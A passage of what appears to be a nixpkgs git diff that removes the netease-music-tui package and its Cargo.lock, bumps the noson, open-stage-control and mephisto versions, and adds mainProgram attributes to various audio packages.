"registry+https://github.com/rust-lang/crates.io-index" -checksum = "4614a76b2a8be0058caa9dbbaf66d988527d86d003c11a94fbd335d7661edcef" -dependencies = [ - "autocfg", -] - -[[package]] -name = "slice-deque" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31ef6ee280cdefba6d2d0b4b78a84a1c1a3f3a4cec98c2d4231c8bc225de0f25" -dependencies = [ - "libc", - "mach", - "winapi 0.3.9", -] - -[[package]] -name = "smallvec" -version = "1.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" - -[[package]] -name = "socket2" -version = "0.3.19" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "122e570113d28d773067fab24266b66753f6ea915758651696b6e35e49f88d6e" -dependencies = [ - "cfg-if 1.0.0", - "libc", - "winapi 0.3.9", -] - -[[package]] -name = "standback" -version = "0.2.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e113fb6f3de07a243d434a56ec6f186dfd51cb08448239fe7bcae73f87ff28ff" -dependencies = [ - "version_check 0.9.4", -] - -[[package]] -name = "stdweb" -version = "0.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef5430c8e36b713e13b48a9f709cc21e046723fe44ce34587b73a830203b533e" - -[[package]] -name = "stdweb" -version = "0.4.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d022496b16281348b52d0e30ae99e01a73d737b2f45d38fed4edf79f9325a1d5" -dependencies = [ - "discard", - "rustc_version", - "stdweb-derive", - "stdweb-internal-macros", - "stdweb-internal-runtime", - "wasm-bindgen", -] - -[[package]] -name = "stdweb-derive" -version = "0.5.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c87a60a40fccc84bef0652345bbbbbe20a605bf5d0ce81719fc476f5c03b50ef" -dependencies = [ - "proc-macro2", - "quote", - "serde 1.0.147", - "serde_derive", - "syn", -] - -[[package]] -name = "stdweb-internal-macros" -version = "0.2.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58fa5ff6ad0d98d1ffa8cb115892b6e69d67799f6763e162a1c9db421dc22e11" -dependencies = [ - "base-x", - "proc-macro2", - "quote", - "serde 1.0.147", - "serde_derive", - "serde_json", - "sha1", - "syn", -] - -[[package]] -name = "stdweb-internal-runtime" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "213701ba3370744dcd1a12960caa4843b3d68b4d1c0a5d575e0d65b2ee9d16c0" - -[[package]] -name = "strsim" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" - -[[package]] -name = "syn" -version = "1.0.103" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a864042229133ada95abf3b54fdc62ef5ccabe9515b64717bcb9a1919e59445d" -dependencies = [ - "proc-macro2", - "quote", - "unicode-ident", -] - -[[package]] -name = "synstructure" -version = "0.12.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f" -dependencies = [ - "proc-macro2", - "quote", - "syn", - "unicode-xid", -] - -[[package]] -name = "tempfile" -version = "3.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4" -dependencies = [ - "cfg-if 1.0.0", - "fastrand", - "libc", - "redox_syscall 0.2.16", - "remove_dir_all", - "winapi 0.3.9", -] - -[[package]] -name = "termcolor" -version = "1.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" -dependencies = [ - "winapi-util", -] - -[[package]] -name = "termion" -version = "1.5.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "077185e2eac69c3f8379a4298e1e07cd36beb962290d4a51199acf0fdc10607e" -dependencies = [ - "libc", - "numtoa", - "redox_syscall 0.2.16", - "redox_termios", -] - -[[package]] -name = "thiserror" -version = "1.0.37" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "10deb33631e3c9018b9baf9dcbbc4f737320d2b576bac10f6aefa048fa407e3e" -dependencies = [ - "thiserror-impl", -] - -[[package]] -name = "thiserror-impl" -version = "1.0.37" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "982d17546b47146b28f7c22e3d08465f6b8903d0ea13c1660d9d84a6e7adcdbb" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "thread-id" -version = "3.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c7fbf4c9d56b320106cd64fd024dadfa0be7cb4706725fc44a7d7ce952d820c1" -dependencies = [ - "libc", - "redox_syscall 0.1.57", - "winapi 0.3.9", -] - -[[package]] -name = "time" -version = "0.1.44" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255" -dependencies = [ - "libc", - "wasi 0.10.0+wasi-snapshot-preview1", - "winapi 0.3.9", -] - -[[package]] -name = "time" -version = "0.2.27" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4752a97f8eebd6854ff91f1c1824cd6160626ac4bd44287f7f4ea2035a02a242" -dependencies = [ - "const_fn", - "libc", - "standback", - "stdweb 0.4.20", - "time-macros", - "version_check 0.9.4", - "winapi 0.3.9", -] - -[[package]] -name = "time-macros" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "957e9c6e26f12cb6d0dd7fc776bb67a706312e7299aed74c8dd5b17ebb27e2f1" -dependencies = [ - "proc-macro-hack", - "time-macros-impl", -] - -[[package]] -name = "time-macros-impl" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd3c141a1b43194f3f56a1411225df8646c55781d5f26db825b3d98507eb482f" -dependencies = [ - "proc-macro-hack", - "proc-macro2", - "quote", - "standback", - "syn", -] - -[[package]] -name = "tinyvec" -version = "1.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" -dependencies = [ - "tinyvec_macros", -] - -[[package]] -name = "tinyvec_macros" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c" - -[[package]] -name = "tokio" -version = "0.2.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6703a273949a90131b290be1fe7b039d0fc884aa1935860dfcbe056f28cd8092" -dependencies = [ - "bytes 0.5.6", - "fnv", - "futures-core", - "iovec", - "lazy_static 1.4.0", - "memchr", - "mio", - "num_cpus", - "pin-project-lite 0.1.12", - "slab", - "tokio-macros", -] - -[[package]] -name = "tokio-macros" -version = "0.2.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e44da00bfc73a25f814cd8d7e57a68a5c31b74b3152a0a1d1f590c97ed06265a" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "tokio-socks" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d611fd5d241872372d52a0a3d309c52d0b95a6a67671a6c8f7ab2c4a37fb2539" -dependencies = [ - "bytes 0.4.12", - "either", - "futures", - "thiserror", - "tokio", -] - -[[package]] -name = "tokio-tls" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a70f4fcd7b3b24fb194f837560168208f669ca8cb70d0c4b862944452396343" -dependencies = [ - "native-tls", - "tokio", -] - -[[package]] -name = "tokio-util" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be8242891f2b6cbef26a2d7e8605133c2c554cd35b3e4948ea892d6d68436499" -dependencies = [ - "bytes 0.5.6", - "futures-core", - "futures-sink", - "log", - "pin-project-lite 0.1.12", - "tokio", -] - -[[package]] -name = "toml" -version = "0.4.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "758664fc71a3a69038656bee8b6be6477d2a6c315a6b81f7081f591bffa4111f" -dependencies = [ - "serde 1.0.147", -] - -[[package]] -name = "toml" -version = "0.5.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7" -dependencies = [ - "serde 1.0.147", -] - -[[package]] -name = "tower-service" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" - -[[package]] -name = "tracing" -version = "0.1.37" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" -dependencies = [ - "cfg-if 1.0.0", - "log", - "pin-project-lite 0.2.9", - "tracing-core", -] - -[[package]] -name = "tracing-core" -version = "0.1.30" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a" -dependencies = [ - "once_cell", -] - -[[package]] -name = "tracing-futures" -version = "0.2.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2" -dependencies = [ - "pin-project", - "tracing", -] - -[[package]] -name = "try-lock" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" - -[[package]] -name = "tui" -version = "0.6.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73b422ff4986065d33272b587907654f918a3fe8702786a8110bf68dede0d8ee" -dependencies = [ - "bitflags", - "cassowary", - "either", - "itertools", - "log", - "termion", - "unicode-segmentation", - "unicode-width", -] - -[[package]] -name = "unicase" -version = "2.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50f37be617794602aabbeee0be4f259dc1778fabe05e2d67ee8f79326d5cb4f6" -dependencies = [ - "version_check 0.9.4", -] - -[[package]] -name = "unicode-bidi" -version = "0.3.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992" - -[[package]] -name = "unicode-ident" -version = "1.0.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ceab39d59e4c9499d4e5a8ee0e2735b891bb7308ac83dfb4e80cad195c9f6f3" - -[[package]] -name = "unicode-normalization" -version = "0.1.22" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" -dependencies = [ - "tinyvec", -] - -[[package]] -name = "unicode-segmentation" -version = "1.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0fdbf052a0783de01e944a6ce7a8cb939e295b1e7be835a1112c3b9a7f047a5a" - -[[package]] -name = "unicode-width" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" - -[[package]] -name = "unicode-xid" -version = "0.2.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c" - -[[package]] -name = "url" -version = "2.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643" -dependencies = [ - "form_urlencoded", - "idna 0.3.0", - "percent-encoding", -] - -[[package]] -name = "vcpkg" -version = "0.2.15" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" - -[[package]] -name = "version_check" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "914b1a6776c4c929a602fafd8bc742e06365d4bcbe48c30f9cca5824f70dc9dd" - -[[package]] -name = "version_check" -version = "0.9.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" - -[[package]] -name = "walkdir" -version = "2.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56" -dependencies = [ - "same-file", - "winapi 0.3.9", - "winapi-util", -] - -[[package]] -name = "want" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" -dependencies = [ - "log", - "try-lock", -] - -[[package]] -name = "wasi" -version = "0.9.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" - -[[package]] -name = "wasi" -version = "0.10.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" - -[[package]] -name = "wasi" -version = "0.11.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" - -[[package]] -name = "wasm-bindgen" -version = "0.2.83" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eaf9f5aceeec8be17c128b2e93e031fb8a4d469bb9c4ae2d7dc1888b26887268" -dependencies = [ - "cfg-if 1.0.0", - "serde 1.0.147", - "serde_json", - "wasm-bindgen-macro", -] - -[[package]] -name = "wasm-bindgen-backend" -version = "0.2.83" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c8ffb332579b0557b52d268b91feab8df3615f265d5270fec2a8c95b17c1142" -dependencies = [ - "bumpalo", - "log", - "once_cell", - "proc-macro2", - "quote", - "syn", - "wasm-bindgen-shared", -] - -[[package]] -name = "wasm-bindgen-futures" -version = "0.4.33" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23639446165ca5a5de86ae1d8896b737ae80319560fbaa4c2887b7da6e7ebd7d" -dependencies = [ - "cfg-if 1.0.0", - "js-sys", - "wasm-bindgen", - "web-sys", -] - -[[package]] -name = "wasm-bindgen-macro" -version = "0.2.83" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "052be0f94026e6cbc75cdefc9bae13fd6052cdcaf532fa6c45e7ae33a1e6c810" -dependencies = [ - "quote", - "wasm-bindgen-macro-support", -] - -[[package]] -name = "wasm-bindgen-macro-support" -version = "0.2.83" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07bc0c051dc5f23e307b13285f9d75df86bfdf816c5721e573dec1f9b8aa193c" -dependencies = [ - "proc-macro2", - "quote", - "syn", - "wasm-bindgen-backend", - "wasm-bindgen-shared", -] - -[[package]] -name = "wasm-bindgen-shared" -version = "0.2.83" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c38c045535d93ec4f0b4defec448e4291638ee608530863b1e2ba115d4fff7f" - -[[package]] -name = "web-sys" -version = "0.3.60" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bcda906d8be16e728fd5adc5b729afad4e444e106ab28cd1c7256e54fa61510f" -dependencies = [ - "js-sys", - "wasm-bindgen", -] - -[[package]] -name = "winapi" -version = "0.2.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a" - -[[package]] -name = "winapi" -version = "0.3.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" -dependencies = [ - "winapi-i686-pc-windows-gnu", - "winapi-x86_64-pc-windows-gnu", -] - -[[package]] -name = "winapi-build" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc" - -[[package]] -name = "winapi-i686-pc-windows-gnu" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" - -[[package]] -name = "winapi-util" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" -dependencies = [ - "winapi 0.3.9", -] - -[[package]] -name = "winapi-x86_64-pc-windows-gnu" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" - -[[package]] -name = "windows-sys" -version = "0.36.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2" -dependencies = [ - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_msvc", -] - -[[package]] -name = "windows_aarch64_msvc" -version = "0.36.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47" - -[[package]] -name = "windows_i686_gnu" -version = "0.36.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6" - -[[package]] -name = "windows_i686_msvc" -version = "0.36.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024" - -[[package]] -name = "windows_x86_64_gnu" -version = "0.36.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1" - -[[package]] -name = "windows_x86_64_msvc" -version = "0.36.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680" - -[[package]] -name = "winreg" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0120db82e8a1e0b9fb3345a539c478767c0048d842860994d96113d5b667bd69" -dependencies = [ - "winapi 0.3.9", -] - -[[package]] -name = "ws2_32-sys" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e" -dependencies = [ - "winapi 0.2.8", - "winapi-build", -] - -[[package]] -name = "yaml-rust" -version = "0.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85" -dependencies = [ - "linked-hash-map 0.5.6", -] diff --git a/pkgs/applications/audio/netease-music-tui/default.nix b/pkgs/applications/audio/netease-music-tui/default.nix deleted file mode 100644 index a76ae5a0d71aa..0000000000000 --- a/pkgs/applications/audio/netease-music-tui/default.nix +++ /dev/null @@ -1,34 +0,0 @@ -{ fetchFromGitHub, rustPlatform, lib, alsa-lib, pkg-config, openssl }: - -rustPlatform.buildRustPackage rec { - pname = "netease-music-tui"; - version = "0.1.5"; - - src = fetchFromGitHub { - owner = "betta-cyber"; - repo = "netease-music-tui"; - rev = "v${version}"; - sha256 = "sha256-+zRXihWg65DtyX3yD04CsW8aXIvNph36PW2veeg36lg="; - }; - - cargoLock = { - lockFile = ./Cargo.lock; - }; - - postPatch = '' - ln -s ${./Cargo.lock} Cargo.lock - ''; - - nativeBuildInputs = [ pkg-config ]; - buildInputs = [ alsa-lib openssl ]; - - cargoSha256 = "sha256-i+W/KwnqdaHcrdaWYUuCUeFlRKekVuEvFh/pxDolPNU="; - - meta = with lib; { - homepage = "https://github.com/betta-cyber/netease-music-tui"; - description = "netease cloud music terminal client by rust"; - maintainers = with maintainers; [ vonfry ]; - license = licenses.mit; - mainProgram = "ncmt"; - }; -} diff --git a/pkgs/applications/audio/netease-music-tui/update-cargo-lock.sh b/pkgs/applications/audio/netease-music-tui/update-cargo-lock.sh deleted file mode 100755 index dc8a1bf3e4682..0000000000000 --- a/pkgs/applications/audio/netease-music-tui/update-cargo-lock.sh +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env nix-shell -#!nix-shell -i bash -p coreutils gnugrep git cargo - -# This updates cargo-lock.patch for the netease-music-tui version listed in -# default.nix. - -set -euo pipefail - -here=$(dirname "$0") -version=$(grep '^ version = "' "$here/default.nix" | cut -d '"' -f 2) -checkout=$(mktemp -d) -git clone -b "v$version" --depth=1 https://github.com/betta-cyber/netease-music-tui "$checkout" - -cargo generate-lockfile --manifest-path "$checkout/Cargo.toml" -cp "$checkout/Cargo.lock" "$here" - -rm -rf "$checkout" diff --git a/pkgs/applications/audio/ninjas2/default.nix b/pkgs/applications/audio/ninjas2/default.nix index 8fa5bed306617..8a2cc317c1375 100644 --- a/pkgs/applications/audio/ninjas2/default.nix +++ b/pkgs/applications/audio/ninjas2/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { license = with licenses; [ gpl3 ]; maintainers = [ maintainers.magnetophon ]; platforms = platforms.linux; + mainProgram = "ninjas2"; }; } diff --git a/pkgs/applications/audio/noson/default.nix b/pkgs/applications/audio/noson/default.nix index b8d29af7abdf4..426a3d9d1bbb3 100644 --- a/pkgs/applications/audio/noson/default.nix +++ b/pkgs/applications/audio/noson/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "noson"; - version = "5.6.3"; + version = "5.6.6"; src = fetchFromGitHub { owner = "janbar"; repo = "noson-app"; rev = finalAttrs.version; - hash = "sha256-Yv5p9yAEhJHm9ZDZlR76z10oGBNpdifR7ITXcAHIb54="; + hash = "sha256-aBrp+mfY/c6K3dLbDGnEKoUbQC7TlFRQJZCjXPeDZ6s="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/audio/odin2/default.nix b/pkgs/applications/audio/odin2/default.nix index de89f9aedead4..a6254d8c77e81 100644 --- a/pkgs/applications/audio/odin2/default.nix +++ b/pkgs/applications/audio/odin2/default.nix @@ -82,5 +82,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; platforms = [ "x86_64-linux" ]; maintainers = with maintainers; [ magnetophon ]; + mainProgram = "Odin2"; }; } diff --git a/pkgs/applications/audio/open-music-kontrollers/mephisto.nix b/pkgs/applications/audio/open-music-kontrollers/mephisto.nix index de707edd3d917..2328b9979158a 100644 --- a/pkgs/applications/audio/open-music-kontrollers/mephisto.nix +++ b/pkgs/applications/audio/open-music-kontrollers/mephisto.nix @@ -1,17 +1,50 @@ -{ callPackage, faust, fontconfig, cmake, libvterm-neovim, libevdev, libglvnd, fira-code, ... } @ args: +{ stdenv +, lib +, fetchFromSourcehut +, pkg-config +, cmake +, meson +, ninja +, faust +, fontconfig +, glew +, libvterm-neovim +, lv2 +, lv2lint +, sord +, xorg +}: -callPackage ./generic.nix (args // rec { +stdenv.mkDerivation (finalAttrs: { pname = "mephisto"; - version = "0.16.0"; + version = "0.18.2"; - sha256 = "0vgr3rsvdj4w0xpc5iqpvyqilk42wr9zs8bg26sfv3f2wi4hb6gx"; + src = fetchFromSourcehut { + domain = "open-music-kontrollers.ch"; + owner = "~hp"; + repo = "mephisto.lv2"; + rev = finalAttrs.version; + hash = "sha256-ab6OGt1XVgynKNdszzdXwJ/jVKJSzgSmAv6j1U3/va0="; + }; - additionalBuildInputs = [ faust fontconfig cmake libvterm-neovim libevdev libglvnd fira-code ]; + nativeBuildInputs = [ pkg-config meson ninja fontconfig cmake ]; - # see: https://github.com/OpenMusicKontrollers/mephisto.lv2/issues/6 - postPatch = '' - sed -i 's/llvm-c-dsp/llvm-dsp-c/g' mephisto.c - ''; + buildInputs = [ + faust + libvterm-neovim + lv2 + sord + xorg.libX11 + xorg.libXext + glew + lv2lint + ]; - description = "A Just-in-time FAUST embedded in an LV2 plugin"; + meta = with lib; { + description = "A Just-in-time FAUST embedded in an LV2 plugin"; + homepage = "https://git.open-music-kontrollers.ch/~hp/mephisto.lv2"; + license = licenses.artistic2; + maintainers = [ maintainers.magnetophon ]; + platforms = platforms.linux; + }; }) diff --git a/pkgs/applications/audio/open-stage-control/default.nix b/pkgs/applications/audio/open-stage-control/default.nix index 0e2650b67b2f3..b789dc668a8e4 100644 --- a/pkgs/applications/audio/open-stage-control/default.nix +++ b/pkgs/applications/audio/open-stage-control/default.nix @@ -12,13 +12,13 @@ buildNpmPackage rec { pname = "open-stage-control"; - version = "1.25.7"; + version = "1.26.1"; src = fetchFromGitHub { owner = "jean-emmanuel"; repo = "open-stage-control"; rev = "v${version}"; - hash = "sha256-BvWr+AhNGh2t4DleKFqgCqijma4CcXOSMoDtSeEUiEc="; + hash = "sha256-uw9vj12vs2N4nap6z1L6sGoCuPpRCmvfGoK/b+zHwHA="; }; # Remove some Electron stuff from package.json @@ -90,5 +90,6 @@ buildNpmPackage rec { license = licenses.gpl3Only; maintainers = with maintainers; [ lilyinstarlight ]; platforms = platforms.linux; + mainProgram = "open-stage-control"; }; } diff --git a/pkgs/applications/audio/openutau/default.nix b/pkgs/applications/audio/openutau/default.nix index ca9dd2f550da0..17105558f2d2b 100644 --- a/pkgs/applications/audio/openutau/default.nix +++ b/pkgs/applications/audio/openutau/default.nix @@ -85,5 +85,6 @@ buildDotnetModule rec { ]; maintainers = with maintainers; [ lilyinstarlight ]; platforms = [ "x86_64-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" ]; + mainProgram = "OpenUtau"; }; } diff --git a/pkgs/applications/audio/opustags/default.nix b/pkgs/applications/audio/opustags/default.nix index 56ef66642801b..314d475a04ede 100644 --- a/pkgs/applications/audio/opustags/default.nix +++ b/pkgs/applications/audio/opustags/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { broken = stdenv.isDarwin; maintainers = with maintainers; [ kmein ]; license = licenses.bsd3; + mainProgram = "opustags"; }; } diff --git a/pkgs/applications/audio/pamix/default.nix b/pkgs/applications/audio/pamix/default.nix index 4a2ad9ab779ea..fb1d0bfb3d412 100644 --- a/pkgs/applications/audio/pamix/default.nix +++ b/pkgs/applications/audio/pamix/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ ericsagnes ]; + mainProgram = "pamix"; }; } diff --git a/pkgs/applications/audio/patchage/default.nix b/pkgs/applications/audio/patchage/default.nix index 99bbdf693a9c1..c4d1b5ca12c86 100644 --- a/pkgs/applications/audio/patchage/default.nix +++ b/pkgs/applications/audio/patchage/default.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { license = lib.licenses.lgpl3; platforms = lib.platforms.linux; maintainers = [ lib.maintainers.nico202 ]; + mainProgram = "patchage"; }; } diff --git a/pkgs/applications/audio/paulstretch/default.nix b/pkgs/applications/audio/paulstretch/default.nix index d85b543baed45..c539521f11679 100644 --- a/pkgs/applications/audio/paulstretch/default.nix +++ b/pkgs/applications/audio/paulstretch/default.nix @@ -56,5 +56,6 @@ stdenv.mkDerivation { homepage = "https://hypermammut.sourceforge.net/paulstretch/"; platforms = platforms.linux; license = licenses.gpl2; + mainProgram = "paulstretch"; }; } diff --git a/pkgs/applications/audio/pbpctrl/default.nix b/pkgs/applications/audio/pbpctrl/default.nix index 0a258b0cb9c1f..1cb18d8318239 100644 --- a/pkgs/applications/audio/pbpctrl/default.nix +++ b/pkgs/applications/audio/pbpctrl/default.nix @@ -28,5 +28,6 @@ rustPlatform.buildRustPackage rec { license = with licenses; [ asl20 mit ]; maintainers = [ maintainers.vanilla ]; platforms = platforms.linux; + mainProgram = "pbpctrl"; }; } diff --git a/pkgs/applications/audio/petrifoo/default.nix b/pkgs/applications/audio/petrifoo/default.nix index 49ed6dfd98423..10a82bac6edbc 100644 --- a/pkgs/applications/audio/petrifoo/default.nix +++ b/pkgs/applications/audio/petrifoo/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.linux; maintainers = [ maintainers.goibhniu ]; + mainProgram = "petri-foo"; }; } diff --git a/pkgs/applications/audio/pianobar/default.nix b/pkgs/applications/audio/pianobar/default.nix index 9949fce8b09c7..3d2d6e1263b0c 100644 --- a/pkgs/applications/audio/pianobar/default.nix +++ b/pkgs/applications/audio/pianobar/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { homepage = "https://6xq.net/pianobar/"; platforms = platforms.unix; license = licenses.mit; # expat version + mainProgram = "pianobar"; }; } diff --git a/pkgs/applications/audio/picard/default.nix b/pkgs/applications/audio/picard/default.nix index 6a269422664c1..36ed7069ea80b 100644 --- a/pkgs/applications/audio/picard/default.nix +++ b/pkgs/applications/audio/picard/default.nix @@ -60,7 +60,7 @@ pythonPackages.buildPythonApplication rec { pyyaml ]; - setupPyGlobalFlags = [ "build" "--disable-autoupdate" ]; + setupPyGlobalFlags = [ "build" "--disable-autoupdate" "--localedir=$out/share/locale" ]; preCheck = '' export HOME=$(mktemp -d) diff --git a/pkgs/applications/audio/picoloop/default.nix b/pkgs/applications/audio/picoloop/default.nix index 